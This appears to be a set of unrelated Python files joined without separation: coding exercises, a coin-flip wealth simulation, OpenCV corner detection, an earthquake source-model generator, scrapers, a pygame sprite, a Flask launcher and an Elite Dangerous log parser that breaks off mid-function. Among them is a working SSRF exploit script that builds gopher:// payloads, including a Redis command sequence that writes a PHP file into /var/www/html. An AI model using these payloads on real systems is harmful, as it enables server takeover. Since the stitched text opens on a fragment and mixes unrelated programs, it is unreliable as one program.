    link_crawler('https://www.lagou.com/jobs/list_%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91?px=new&city=%E6%9D%AD%E5%B7%9E#order', delay=0, num_retries=1,max_depth=1,scrape_callback=ScrapeCallback())


# Write a program that rounds all the given numbers, separated by a single space,
# and prints the result as a list. Use round().
num = input()
def rounding_func(a):
    num1 = num.split(" ")
    num_list = []
    for x in num1:
        z = float(x)
        z = round(z)
        num_list.append(z)
    return num_list
print(rounding_func(num))

Programming Fundamentals with Python/4_functions/lab/7_rounding.py


# Built-In Python
import time
from pathlib import Path
import pickle
import random
import logging

# Third-Party
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from tqdm import tqdm
from fire import Fire

# Custom
from .population import Population
from .flips import Flips, Flip

class History:
    def __init__(self):
        self.moneyStamps = []
        self.numFlips = []
        self.populationDfs = []

        self.stats = pd.DataFrame(columns=['numFlips', 'money', 'total', 'max', 'min', 'mean', 'median'])\
            .set_index('numFlips', drop=False)

    def __repr__(self):
        return f"<{self.__class__.__name__} | Entries: {len(self)}>"

    def __len__(self):
        return len(self.moneyStamps)

    def add(self, population: Population, numFlips: int):
        self.moneyStamps.append(population.getMoneyStamp())
        self.numFlips.append(numFlips)
        self.populationDfs.append(population.toDf())

    def getStatsOverTime(self, includeTopX=True, logProgress=False):
        df = self.stats
        new_data = []
        if len(self):
            start_flip = len(df)
            for i in tqdm(range(start_flip, len(self)), desc=f'Converting History to df', disable=not logProgress):
                # A DataFrame representing the population after a given number of flips (self.numFlips[i])
                row = self.populationDfs[i]
                # Converting the df to a single row, so it can be a part of the full history df
                row_data = {
                    'numFlips': self.numFlips[i],
                    'money': row.money.values,  # This will be a numpy array, saved in a single cell of the df
                    'total': row.money.sum(),
                    'max': row.money.max(),
                    'min': row.money.min(),
                    'mean': row.money.mean(),
                    'median': row.money.median()
                }
                if includeTopX:
                    # Split the People into bins by
                    money: np.ndarray = row.money.values
                    money[::-1].sort()
                    num_per_percent = round(len(money) * 0.1)
                    _split = np.array_split(money, num_per_percent)
                    use_indices = includeTopX if isinstance(includeTopX, list) else list(range(0, 100))
                    for idx, top_x_range in enumerate(_split):
                        if idx in use_indices:
                            row_data[f"top_{idx}_to_{idx+1}_percent_wealth"] = top_x_range.sum() / row.money.sum() * 100

                new_data.append(row_data)
            new_df = pd.DataFrame(new_data)
            df = pd.concat([self.stats, new_df])
            self.stats = df
        return self.stats

    def save(self, filepath, includeTopX=True):
        df = self.getStatsOverTime(includeTopX=includeTopX)
        df.to_pickle(str(filepath))

class CoinFlipper:
    def __init__(self, population: Population, dollarsPerFlip: int = 1, allowDebt: bool = False, brokeIsOut=True,
                 selectionStyle: str = 'random', cacheDir='flipperCache/cli'):
        self.population = population
        self.dollarsPerFlip = int(dollarsPerFlip)
        self.allowDebt = allowDebt
        self.brokeIsOut = brokeIsOut
        self.selectionStyle = selectionStyle

        self.cacheDir = Path(cacheDir)
        self.flips: Flips = Flips()
        self.history: History = History()
        self.history.add(self.population, numFlips=len(self.flips))

    def __repr__(self):
        return f"<{self.__class__.__name__}>"

    def descriptiveFilepath(self, directory: Path = '.'):
        directory = Path(directory)
        return directory.joinpath(f'people_{len(self.population)}_start_{self.population[0].startMoney}_'
                                  f'bet_{self.dollarsPerFlip}_debt_{self.allowDebt}_'
                                  f'flips_{len(self.flips)}.pickle')

    @property
    def numFlips(self):
        return len(self.flips)

    def flip(self, num: int = 1, saveEvery=0, plotEvery=0, plotKind='topXPercentRanges', logProgress=False,
             saveHistory=True, closePlt=True):
        """Flip a coin some number of times and settle the bets"""
        for i in tqdm(range(num), total=num, unit='flips', desc='Flipping Coins', disable=not logProgress):
            self.flipOnce()

            if saveHistory:
                self.history.add(self.population, numFlips=len(self.flips))

            if saveEvery and len(self.flips) > 0 and len(self.flips) % saveEvery == 0:
                filepath = self.descriptiveFilepath(self.cacheDir)
                self.save(filepath, history=True)
            if plotEvery and len(self.flips) % plotEvery == 0:
                self.population.plot(t=0.1, keepAx=True, kind=plotKind,
                                     title=f'Population after {i + 1:,} flips (Total: ${self.population.totalMoney:,})')
        if closePlt:
            plt.close()

    def flipOnce(self):
        # Pick 2 random people from the group to "flip" against each other
        p1, p2 = self.getPeople(2)
        winner = random.choice([p1, p2])
        loser = p1 if winner == p2 else p2
        # Since both are random selections, we just assume the "first" one was the winner
        flip = Flip(winner=winner, loser=loser, bet=self.dollarsPerFlip)
        # Log the flip
        self.flips.append(flip)

        if loser.has(self.dollarsPerFlip) or self.allowDebt:
            flip.settleBet()

    def getPeople(self, n):
        pop = self.population.getPeopleWithMoreThan(0) if self.brokeIsOut else self.population
        if self.selectionStyle == 'random':
            return pop.pickRandoms(n)
        elif self.selectionStyle == 'sequential':
            if self.brokeIsOut:
                raise Exception(f'Can not use sequential selection when brokeIsOut is set to True.')
            nex = [pop.next(loop=True) for _ in range(n)]
            return nex
        else:
            raise Exception(f"Unknown selectionStyle: {self.selectionStyle}")

    def save(self, filepath, history=True, includeTopX=True):
        filepath = Path(filepath)
        if filepath.is_dir() or not filepath.suffix:
            filepath = self.descriptiveFilepath(filepath)
        filepath.parent.mkdir(parents=True, exist_ok=True)

        with open(str(filepath), 'wb') as pf:
            pickle.dump(self, pf)

        if history:
            self.history.save(filepath.with_stem(f"{filepath.stem}_history"), includeTopX=includeTopX)

    @classmethod
    def load(cls, filepath):
        filepath = Path(filepath)
        if filepath.exists():
            flipper: cls
            with open(str(filepath), 'rb') as pf:
                try:
                    flipper = pickle.load(pf)
                except (EOFError, pickle.UnpicklingError):
                    filepath.unlink(missing_ok=True)
                    raise EOFError(f"There was a problem loading {filepath}. It has been deleted.")

            if len(flipper.history) > 0 and flipper.history.stats.empty:
                # TODO: History cached stats do not seem to be loaded here...
                # This is a tmp solution until I can dig into the pickling / unpickling procedures
                history_path = filepath.with_stem(f'{filepath.stem}_history')
                if history_path.exists():
                    logging.debug(
                        'Warning: FlipperManager history stats were not loaded correctly. Manually loading now')
                    flipper.history.stats = pd.read_pickle(str(history_path))
            return flipper
        else:
            raise Exception(f"Filepath does not exist")

def flipCoins(numFlips=10_000, numPeople=1000, startMoney=100, dollarsPerFlip=1, allowDebt=False,
              plot=False, plotEvery=100, saveHistory=False, showResults=True, plotKind='topXPercentRanges',
              useCache=False):

    people = Population([])
    people.add(numPeople, startMoney)

    flipper = CoinFlipper(people, dollarsPerFlip, allowDebt)
    flipper.flip(numFlips, saveEvery=0, plotEvery=plotEvery if plot else 0, logProgress=True, saveHistory=saveHistory,
                 plotKind=plotKind, closePlt=False)

    if useCache:
        cache_dir = Path('flipperCache/cli')
        flipper_path = cache_dir.joinpath(
            f'people_{numPeople}_start_{startMoney}_bet_{dollarsPerFlip}_debt_{allowDebt}_'
            f'flips_{numFlips}.pickle')
        flipper.save(flipper_path)

    if showResults:
        print()
        print('Results:')
        print(flipper.population.getStatsByTopXRanges())

    print('Done flipping!')
    if plot:
        flipper.population.plot(kind=plotKind, keepAx=True,
                                title=f'Population after {len(flipper.flips):,} flips '
                                      f'(Total: ${flipper.population.totalMoney:,})')

    if len(flipper.history):
        flipper.history.getStatsOverTime()

if __name__ == '__main__':
    Fire(flipCoins)


import re
import cv2
import numpy as np
import matplotlib.pyplot as plt

flat_chess=cv2.imread('DATA/flat_chessboard.png')
flat_chess=cv2.cvtColor(flat_chess,cv2.COLOR_BGR2RGB)

plt.subplot(321)
plt.imshow(flat_chess)

gray_flat_chess=cv2.cvtColor(flat_chess,cv2.COLOR_BGR2GRAY)

plt.subplot(322)
plt.imshow(gray_flat_chess,cmap='gray')

real_chess=cv2.imread('DATA/real_chessboard.jpg')
real_chess=cv2.cvtColor(real_chess,cv2.COLOR_BGR2RGB)
plt.subplot(323)
plt.imshow(real_chess)

gray_real_chess=cv2.cvtColor(real_chess,cv2.COLOR_BGR2GRAY)
plt.subplot(324)
plt.imshow(gray_real_chess,cmap="gray")
plt.show(block=False)
plt.pause(1.5)

## Harris Corner detection
gray=np.float32(gray_flat_chess)
dst=cv2.cornerHarris(src=gray,blockSize=2,ksize=3,k=0.04)

dst=cv2.dilate(dst,None)
#kjerkoli je vrednost več kot procent max() Harris obdelave naj bo rdeče
flat_chess[dst>0.01*dst.max()]=[255,0,0]
plt.subplot(325)
plt.imshow(flat_chess)

gray=np.float32(gray_real_chess)
dst=cv2.cornerHarris(src=gray,blockSize=2,ksize=3,k=0.04)
dst=cv2.dilate(dst,None)
#kjerkoli je vrednost več kot procent max() Harris obdelave naj bo rdeče
real_chess[dst>0.01*dst.max()]=[255,0,0]
plt.subplot(326)
plt.imshow(real_chess)

# Make it full Screen
wm = plt.get_current_fig_manager()
wm.window.state('zoomed')

plt.show(block=False)
plt.pause(4)
print("Konec")


import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
from skfmm import travel_time, distance
from scipy.interpolate import interp1d
import os
from utils import plot_2d_image
from math import log10

plt.style.use('ggplot')

def transform_normal_scores(scores, nscore):
    # for now, the values of our scores are less than the values of the nscore.
    # we dont have to worry about more extreme values. ultimately, we need some way to map an arbitrary distribution
    # function to these normal values.
    x = nscore['nscore']
    y = nscore['x']
    f = interp1d(x,y)
    return f(scores)

def linear_taper(n, inds=(0,-1), vals=(0.0,1.0) ):
    """
    Returns normalized coefficient for linear taper between (start, end) and
    values (start_value, end_value)
    Args:
        n (int) : length of taper
        inds (tuple) : indexes of taper, default n
        vals (tuple) : coresponding to inds, default {0, 1.0}
    Returns:
        coef (ndarray) : coefficient {0 .. 1.0} of linear taper over indexes = inds with
        values = vals
    """
    import numpy as np

    # vars
    ix = np.arange(n)
    coef = np.ones(n)

    # linear model
    delta_y = vals[1] - vals[0]
    if inds == (0,-1):
        delta_x = n
    else:
        delta_x = inds[1] - inds[0]
    slope = delta_y / delta_x
    intercept = vals[0] - slope * inds[0]
    coef[inds[0]:inds[1]] = slope * ix[inds[0]:inds[-1]] + intercept

    # returns
    return coef

def boundary_taper( field, taper_width=10, free_surface=True, values=0 ):
    """
    returns a field tapered along to boundary to zero.
    can add taper to some percentage later.

    field (2d ndarray) : rupture field to taper.
    taper_width (int) : boundary to taper
    free_surface (bool) : (true) taper the free surface
                          (false) do NOT taper free surface
    values sequence or int (optional) : ending values for taper. default is zero.  value should be specfied
                                        in terms of percentages.

    return
    tapered_field (ndarray) : tapered field with shape = field.shape
    """
    ny, nx = field.shape
    if free_surface:
        baseline = np.ones( (ny-2*taper_width, nx-2*taper_width) )
        padded = np.pad( baseline, ((taper_width,taper_width), (taper_width,taper_width)), 'linear_ramp', end_values=values )
    else:
        baseline = np.ones( (ny-taper_width, nx-2*taper_width) )
        padded = np.pad( baseline, ((0,taper_width), (taper_width,taper_width)), 'linear_ramp', end_values=values )

    assert field.shape == padded.shape

    return field*padded

def main():
    plot_on = True
    tapering = True
    writing = True
    layered = False

    src_dir = './source_models/'
    output_name = 'sokrg-bbp_source1'
    out_dir = './source_models/source1'

    if not os.path.isdir( out_dir ):
        os.makedirs( out_dir )

    params = {
              'nx' : 273,
              'nz' : 136,
              'dx' : 100,
              'ihypo' : (120, 136),
              'fault_top' : 0,
              'avg_slip'  : 0.74,
              'std_slip'  : 0.42,
              'avg_psv'   : 1.42,
              'std_psv'   : 0.7,
              'avg_vrup'  : 0.79,
              'std_vrup'   : 0.04,
             }

    # read normal score transforms
    slip_sc = pd.read_csv('slip_nscore_transform_table.csv')
    psv_sc = pd.read_csv('psv_nscore_transform_table.csv')
    vrup_sc = pd.read_csv('vrup_nscore_transform_table.csv')

    # extract data
    slip_sim1 = np.fromfile(src_dir + 'slip_sim1.bin').reshape(params['nz'], params['nx'])
    psv_sim1 = np.fromfile(src_dir + 'psv_sim1.bin').reshape(params['nz'], params['nx'])
    vrup_sim1 = np.fromfile(src_dir + 'vrup_sim1.bin').reshape(params['nz'], params['nx'])

    if layered:
        material = np.loadtxt("bbp1d_1250_dx_25.asc")[params['fault_top']:params['fault_top'] + params['nz'], :]
        vp = material[:,1]*1e3
        vs = material[:,2]*1e3
        rho = material[:,3]*1e3

        vs = np.repeat(vs, params['nx']).reshape(params['nz'], params['nx'])
        rho = np.repeat(rho, params['nx']).reshape(params['nz'], params['nx'])

    else:
        vs = 3464*np.ones((params['nz'], params['nx']))
        rho = 2700*np.ones((params['nz'], params['nx']))

    # cut size of model down for computational ease
    slip = slip_sim1[:-1, :-1]
    psv = psv_sim1[:-1, :-1]

    # psv=(psv-psv.mean())/psv.std()
    vrup = vrup_sim1[:-1, :-1]
    vs = vs[:-1, :-1]
    rho = rho[:-1, :-1]

    # update parameters
    params['nx'] = params['nx'] - 1
    params['nz'] = params['nz'] - 1

    if tapering:
        # transform from normal-scores
        slip = transform_normal_scores(slip, slip_sc)
        psv = transform_normal_scores(psv, psv_sc)
        vrup = transform_normal_scores(vrup, vrup_sc)
        # according to xu et. al, 2016 for landers
        # taper = linear_taper( slip_sim1.shape[0], inds=(0, int(4000/params['dx'])), vals = (0.8, 1.0) )
        # slip = np.repeat(taper, params['nx']).reshape(params['nz'], params['nx']) * (slip_sim1 * params['std_slip'] + params['avg_slip'])

        # taper = linear_taper( psv_sim1.shape[0], inds=(0, int(4000/params['dx'])), vals = (0.5, 1.0) )
        # psv = np.repeat(taper, params['nx']).reshape(params['nz'], params['nx']) * (psv_sim1 * params['std_psv'] + params['avg_psv'])

        #vrup_norm = vrup_sim1 * params['std_vrup'] + params['avg_vrup']
        #taper = linear_taper( vrup_norm.shape[0], inds=(0, int(4000/params['dx'])), vals = (0.2, 1.0) )
        #vrup = np.repeat(taper, params['nx']).reshape(params['nz'], params['nx']) * vrup_norm * vs

        # from simulations, slip tapers larger
        taper_width = 37
        slip = boundary_taper(slip,
                                taper_width=taper_width,
                                free_surface=True,
                                values=np.array(((0.60, 0.05), (0.05,0.05))) )

        # taper to 30% of mean along-strike psv at z = taper_width * dx
        taper_width = 12
        ny,nx=psv.shape
        baseline = np.ones( (ny-4*taper_width, nx-2*taper_width) )
        padded = np.pad( baseline,
                         ((3*taper_width,taper_width), (taper_width,taper_width)),
                         'linear_ramp',
                         end_values=np.array(((0.30, 0.05), (0.05,0.05))) )

        psv = padded * psv
        vrup = vrup * vs

    # else:
    #     slip = slip_sim1 * params['std_slip'] + params['avg_slip']
    #     psv = psv_sim1 * params['std_psv'] + params['avg_psv']
    #     vrup_norm = vrup_sim1 * params['std_vrup'] + params['avg_vrup']
    #     vrup = vrup_norm * vs

    trup = compute_trup(vrup, params)

    if plot_on:
        # print(f'slip: min, max ({slip.min():.2f}, {slip.max():.2f})')
        # print(f'psv: min, max ({psv.min():.2f}, {psv.max():.2f})')
        # print(f'vrup: min, max ({vrup.min():.2f}, {vrup.max():.2f})')
        # print(f'trup: min, max ({trup.min():.2f}, {trup.max():.2f})')

        x = np.arange(0, params['nx'])
        z = np.arange(0, params['nz'])
        plotting_data = {'data':slip, 'contour':trup}
        plot_2d_image( plotting_data, "slip-" + output_name + ".pdf" , nx = params['nx'], nz = params['nz'], dx = params['dx']*1e-3,
                                              clabel = "Slip (m)", xlabel = "Distance (km)", ylabel = "Distance (km)",
                                              surface_plot = True, contour = True, clim=(0, slip.max()), cmap='jet' )
        plot_2d_image( psv, "psv-" + output_name + ".pdf", nx = params['nx'], nz = params['nz'], dx = params['dx']*1e-3,
                                             clabel = r'$V^{peak}$ (m/s)', xlabel = "Distance (km)", ylabel = "Distance (km)",
                                              surface_plot = False, contour = False, clim=(0, psv.max()), cmap='jet' )
        plot_2d_image( trup, "trup-" + output_name + ".pdf", nx = params['nx'], nz = params['nz'], dx = params['dx']*1e-3,
                                              clabel = "Trup (s)", xlabel = "Distance (km)", ylabel = "Distance (km)",
                                              surface_plot = False, contour = True, clim=(0,20) )
        plot_2d_image( vrup/vs, "vrup-" + output_name + ".pdf", nx = params['nx'], nz = params['nz'], dx = params['dx']*1e-3,
                                              clabel = r'$V_{rup}/c_s$', xlabel = "Distance (km)", ylabel = "Distance (km)",
                                              surface_plot = False, contour = False, cmap='viridis', clim=(0, 1.0) )

        plot_2d_image( vs, "vs-" + output_name + ".pdf", nx = params['nx'], nz = params['nz'], dx = params['dx']*1e-3,
                                              clabel = r'$V_{rup}/c_s$', xlabel = "Distance (km)", ylabel = "Distance (km)",
                                              surface_plot = False, contour = False, cmap='jet' )

# generate strike, dip, and rake
    nhat1 = np.fromfile("nhat1", "f").reshape(801,2601)
    nhat2 = np.absolute(np.fromfile("nhat2", "f").reshape(801,2601))
    nhat3 = np.fromfile("nhat3", "f").reshape(801,2601) # make vector point "up"

    # NOTE: starting at x=1000 to reduce model size for small model
    nhat1 = nhat1[::4, ::4]
    nhat2 = nhat2[::4, ::4]
    nhat3 = nhat3[::4, ::4]

    print(nhat1.shape)
    print(nhat2.shape)
    print(nhat3.shape)

#fienen "the three-point problem"
# project onto horizontal plane, calculate angle between
    dip = get_dip(nhat1, nhat2, nhat3)
    strike = get_strike(nhat1, nhat3)
    #rake = np.ones(strike.shape)*180.0 # constant rake
    rake = strike - 90 # strike is 270 and rake is 180

# compute moment
    moment = get_moment(slip, vs, rho, params)
    print('moment')
    print(moment.sum())
    print(2./3 * (log10(moment.sum()) - 9.1))

# write to file for input
    if writing:
        dtype = '<f4'
        print('writing files...')
        # start at 1000 to reduce the size of the source simulation.
        vs.astype(dtype).tofile(os.path.join(out_dir, output_name + '_vs.bin'))
        rho.astype(dtype).tofile(os.path.join(out_dir, output_name + '_rho.bin'))
        slip.astype(dtype).tofile(os.path.join(out_dir, output_name + '_slip.bin'))
        psv.astype(dtype).tofile(os.path.join(out_dir, output_name + '_psv.bin'))
        vrup.astype(dtype).tofile(os.path.join(out_dir, output_name + '_vrup.bin'))
        trup.astype(dtype).tofile(os.path.join(out_dir, output_name + '_trup.bin'))
        strike.astype(dtype).tofile(os.path.join(out_dir, output_name + '_strike.bin'))
        dip.astype(dtype).tofile(os.path.join(out_dir, output_name + '_dip.bin'))
        rake.astype(dtype).tofile(os.path.join(out_dir, output_name + '_rake.bin'))
        moment.astype(dtype).tofile(os.path.join(out_dir, output_name + '_moment.bin'))

"""
Helping functions.
"""
def get_dip(nhat1, nhat2, nhat3):
    nz,nx = nhat1.shape
    dip = np.ones([nz,nx])

    for i in range(nz):
        for j in range(nx):
            nproj = (nhat1[i,j], 0, nhat3[i,j])
            n = (nhat1[i,j], nhat2[i,j], nhat3[i,j])
            norm = lambda v: np.sqrt(v[0]**2+v[1]**2+v[2]**2)
            scaling = 1.0 / ( norm(nproj) * norm(n) )
            arg = scaling*(n[0]**2+n[2]**2)
            if np.isclose(1.0, arg):
                arg = 1.0
            arg=np.arccos(arg)
            theta = np.rad2deg(arg)
            dip[i,j] = 90 - theta
    return dip

def get_moment(slip, vs, rho, params):
    mu = vs * vs * rho
    area = params['dx'] * params['dx']
    moment = mu * area * slip
    return moment

def get_strike(nhat1, nhat3):
    nz,nx = nhat1.shape
    strike = np.ones([nz,nx])
    for i in range(nz):
        for j in range(nx):
            nproj = (nhat1[i,j], 0, nhat3[i,j])
            x3 = (1,0,0)
            norm = lambda v: np.sqrt(v[0]**2+v[1]**2+v[2]**2)
            scaling = 1.0 / ( norm(x3) * norm( nproj) )
            theta = np.rad2deg(scaling * np.arccos(nproj[2]))
            if nhat1[i,j] > 0 and nhat3[i,j] > 0:
                strike[i,j] = 270 + theta
            elif nhat1[i,j] < 0 and nhat3[i,j] > 0:
                strike[i,j] = 270 - theta
            elif nhat1[i,j] < 0 and nhat3[i,j] < 0:
                # in 3rd quad
                strike[i,j] = 270 - theta
            elif nhat1[i,j] > 0 and nhat3[i,j] < 0:
                # in 4th quad
                strike[i,j] = theta - 90
    return strike

def source_time_function():
    pass

def compute_trup(vrup, params):
    phi = np.ones( (params['nz'], params['nx']) ) #* params['dx']
    print(phi.shape)
    ihypo = params['ihypo']
    phi[ ihypo[0], ihypo[1] ] = -1
    trup = travel_time( phi, speed=vrup, dx=params['dx'] )
    return np.array(trup)

if __name__ == "__main__":
    main()


import requests
from bs4 import BeautifulSoup
from datetime import datetime
from pymongo import MongoClient

client = MongoClient(port=27017)
db = client.historical_data4

def get_coins(url):
    """this function get all coins list"""
    response = requests.get(url)
    coin_list = [i['id'] for i in response.json()]
    return coin_list

def get_csv(coin_id, end_date, start_date=20130428):
    """this function genrates will write into mongo
    db collections"""
    collection = db[coin_id]
    keys = ['Date', 'Open', 'High', 'Low', 'Close', 'Volume', 'Market Cap']
    url = 'https://coinmarketcap.com/currencies/\
{0}/historical-data/?start={1}&end={2}'.format(coin_id, start_date, end_date)
    response = requests.get(url)
    html = response.content
    soup = BeautifulSoup(html, 'html.parser')
    table = soup.find('table', attrs={'class': 'table'})
    list_of_rows = []
    for row in table.findAll('tr')[1:]:
        list_of_cells = []
        for cell in row.findAll('td'):
            list_of_cells.append(cell.text)
        list_of_rows.append(dict(zip(keys, list_of_cells)))
    collection.insert(list_of_rows)

current_date = datetime.today().strftime('%Y%m%d')
coins = get_coins('https://api.coinmarketcap.com/v1/ticker/?limit=1')
print ("there are %d coins..", len(coins))
for coin in coins:
    get_csv(coin, current_date)
print("Success all the coins data has been saved....")


import pygame
import random

class boss(pygame.sprite.Sprite):

    def __init__(self, game):
        super().__init__()
        self.game = game
        self.health = 350
        self.max_health = 350
        self.attack = 6
        self.image = pygame.image.load('assets/BOSS T.png')
        self.image = pygame.transform.scale(self.image, (500, 500))
        self.rect = self.image.get_rect()
        self.rect.x = 800
        self.rect.y = 200
        self.velocity = 0.01

    def update_health_bar(self, surface):
        #dessiner la bar de vie
        pygame.draw.rect(surface, (255, 0, 0), [self.rect.x + 15, self.rect.y - 20, self.max_health, 5])
        pygame.draw.rect(surface, (111, 210, 46), [self.rect.x + 15, self.rect.y - 20, self.health, 5])

    def forward (self):
        if not self.game.check_collision(self, self.game.all_players):
            self.rect.x -= self.velocity
        #si le monstre est en collision avec J
        else :
            self.game.player.damage(self.attack)

    def damage(self, amount):
        #infliger les degats
        self.health -= amount
        #verifier si son nouveau nombre de pv <= 0
        if self.health <= 0 :
            #reaparaitre comme un nouveau monstre
            self.rect.x = 1000 + random.randint(0, 300)
            self.health = self.max_health
            self.velocity = random.randint(0, 2)
            # ajout du score
            self.game.score += 50


import questionary
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from BrokerManager import server as broker_manager
from BrokerManagerReadOnly import server as broker_manager_readonly
import sys

def create_app():
	app = Flask(__name__)

	answer = questionary.select(
		"Which Server do you want to start?",
		choices=["Broker Manager Primary", "Broker Manager Secondary"]
		).ask()

	if answer=="Broker Manager Primary":
		app.register_blueprint(broker_manager)

	if answer=="Broker Manager Secondary":
		app.register_blueprint(broker_manager_readonly)

	return app

port = 5000
if len(sys.argv)>1:
	port = int(sys.argv[1])

if __name__ == '__main__':
    create_app().run(host='0.0.0.0', port=port, debug=True, use_reloader=False)


import socket
import requests
import re
from urllib.parse import quote

# gopher利用脚本，此脚本内容可以任意的修改
#
# 最新测试版本

CRLF = '\r\n'

# redis_format函数用于进行redis的RESP协议的格式化
def redis_format(command):
    cmd = []
    data = command.split('\n')
    for x in data:
        if re.match(r'\s*',x):
            data.remove(x)
    cmd = data

    result = []
    for x in range(len(cmd)):
        rn_list = cmd[x].split(' ')              # 进行空格切分
        rn_zong_len = len(rn_list)              # *? 表示总长度的获取
        for y in range(len(rn_list)):
            rn_list[y] = '$'+str(len(rn_list[y]))+CRLF+rn_list[y].replace("^",' ')

        result.append('*'+str(rn_zong_len)+CRLF+CRLF.join(rn_list)+CRLF)
    return ''.join(result).encode('utf-8')

# 此函数提供gopher格式化的数据。仅仅是将传入的payload进行gopher协议的转化。并不提供其他的功能，如果需要进行redis字符串的格式化需要提前使用上面的函数先进行格式化。
# 需要注意的是，linux中默认的换行是\n LF。而http请求中的换行为\r\n
def gopher_format(payload_str,host,port):
    scheme = "gopher://"
    payload_str = re.sub(r'(?<!\r)\n',CRLF,payload_str)     # 正则的反向否定预查
    raw_payload = scheme + str(host) + ':' + str(port) + '/_' + quote(quote(payload_str))
    payload = raw_payload
    return payload

if __name__ == "__main__":

    cmd_2 = '''
flushall
set 1 <?php phpinfo();?>
config set dir /var/www/html
config set dbfilename config.php
save
    '''

    cmd_3 = '''POST / HTTP/1.1
Host: 192.168.2.121
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Connection: close
Upgrade-Insecure-Requests: 1

b=2.php&a=1.php
    '''

                # 伪造http请求
# 在此组成payload即可，需要注意的是，字符串前面不能有空格或tab键
    gopher_payload = gopher_format(cmd_3,'192.168.2.121','80')
    print(gopher_payload)

                # 伪造RESP请求
# 如果要使用redis+gopher的话，那么则需要先redis_format再gopher_format
    # redis_payload = redis_format(cmd_2).decode('utf-8')
    # print(gopher_format(redis_payload,'192.168.2.81',6379))


def total_shopping_card_change(shopping_list, cash):
    total = 0
    for x in shopping_list:
        y = str(x[1])
        pos = x[0] + "(" + y + ")"
        print(pos,"x", x[2], "  ", x[1]*x[2])
        total += x[1]*x[2]
    print("Do zapłaty", total )
    print("Zapłacono", cash )
    print("Reszta", cash - total )

shopping_list = [('mleko', 1.99, 2), ('chleb', 2.42, 3), ('masło', 5.99, 1), ('cola', 7.99, 3), ('ziemniaki', 0.99, 1.3)]
total_shopping_card_change(shopping_list,50.00)
# Wypisze
# mleko(1.99)       x 2     3.98
# chleb(2.42)       x 3     7.26
# masło(5.99)       x 1     5.99
# ziemniaki(0.99)   x 1.3   1.28
# Do zapłaty:              18.51
# Zapłacono:               20.00
# Reszta:                   1.49
#w przykładzie zabrakło coli więc u mnie wyniki się różnią :)


from os import environ, listdir
from os.path import join, isfile, getmtime
from dataclasses import dataclass, field
import json
import time
import traceback
from datetime import datetime,timezone
savedGamePath = environ['USERPROFILE'] + "\Saved Games\Frontier Developments\Elite Dangerous"
@dataclass
class mission:
    id: int
    localisedName: str = ''
    reward: int = 0
    wing: bool = False
    def __hash__(self) -> int:
        return hash(self.id)
    def __eq__(self, __o: object) -> bool:
        return self.id == __o.id
@dataclass
class Journal:
    @dataclass
    class log:
        path: str = ''
        version: str = ''
        latestUpdate: float = 0.0
        updateInterval: float = 0.0
        raw: str = ''
    @dataclass
    class ship:
        model: str = ''
        name: str = ''
        ident: str = ''
        fuel: float = 0.0
        fuelCap: float = 0.0
        fuelLevel: int = 100 # round((fuel/fuelCap)*100) %
        isScooping: bool = False
        hull: float = 0.0
        cargoCap: int = 0
        jumpRange: float = 0.0
        modules: list = field(default_factory=list)
    @dataclass
    class nav:
        navRoutes: list = field(default_factory=list)
        location: str = ''
        lastTarget: str = ''
        target: str = ''
        targetStarClass: str = ''
        remainingJumps: int = 0
        dockedStation: str = ''
    status: str = ''
    signs: set = field(default_factory=set) # unique signs
    missions: set[mission] = field(default_factory=set)
journal = Journal()
# STATUS: normal,undocking,docking,startUndock,startDock,docked,startJump,finishJump,supercruise
def getNavRoute(routePath=None):
    if not routePath:
        routePath = savedGamePath+r"\NavRoute.json"
    pass # WIP

def getLatestLogPath(logPath=None):
    if not logPath:
        logPath = savedGamePath
    logsList = [join(logPath, f) for f in listdir(logPath) if isfile(join(logPath, f)) and f.startswith('Journal.')]
    if not logsList:
        return None
    latestLog = max(logsList, key=getmtime)
    return latestLog

UTC_FORMAT = "%Y-%m-%dT%H:%M:%SZ"
latestLogLine = 0
def parseLogs(logPath=None,logger=None) -> Journal:
    global latestLogLine, journal
    if not logPath:
        logPath = getLatestLogPath()
    try:
        linesRead = 0
        with open(logPath, 'r', encoding='utf-8') as f:
            for line in f:
                journal.log.path = logPath
                logJson = json.loads(line)
                logEvent = logJson['event']
                # Event Filters start
                if logEvent == "FSSSignalDiscovered" or \
                   logEvent == "Friends" or \
                   logEvent == "Powerplay" or \
                   logEvent == "NpcCrewPaidWage" or \
                   logEvent == "MissionRedirected" or \
                   logEvent == "Statistics" or \
                   logEvent == "Materials":
                   continue
                # Event Filters end
                linesRead += 1
                if linesRead>latestLogLine:
                    logTime = datetime.strptime(logJson['timestamp'],UTC_FORMAT).replace(tzinfo=timezone.utc) # change to UTC time
                    logTime = logTime.timestamp()
                    if logTime>=journal.log.latestUpdate: # should update
                        latestLogLine += 1
                        journal.log.latestUpdate=logTime
                        journal.log.updateInterval = time.time()-logTime
                        journal.log.raw = logJson
                        # print(logEvent+' ')
                        # print(logTime)
                        if logEvent == 'Fileheader':
                            journal.log.version = 'Odyssey' if logJson['Odyssey'] else 'Horizons'

                        elif logEvent == 'Loadout':
                            journal.ship.model = logJson['Ship']
                            journal.ship.name = logJson['ShipName']
                            journal.ship.ident = logJson['ShipIdent']
                            journal.ship.hull = logJson['HullHealth']
                            journal.ship.fuelCap = logJson['FuelCapacity']['Main']
                            journal.ship.cargoCap = logJson['CargoCapacity']
                            journal.ship.jumpRange = logJson['MaxJumpRange']
                            journal.ship.modules = logJson['Modules']

                        elif logEvent == 'RefuelAll' or logEvent == 'RefuelPartial':
                            journal.ship.fuel += logJson['Amount']
                            journal.ship.fuelLevel = round((journal.ship.fuel/journal.ship.fuelCap)*100)
                        elif logEvent == 'FuelScoop':
                            journal.ship.fuel += logJson['Scooped']
                            journal.ship.fuelLevel = round((journal.ship.fuel/journal.ship.fuelCap)*100)
                            if journal.log.updateInterval <= 10 and journal.ship.fuelLevel < 99: journal.ship.isScooping = True
                            else: journal.ship.isScooping = False

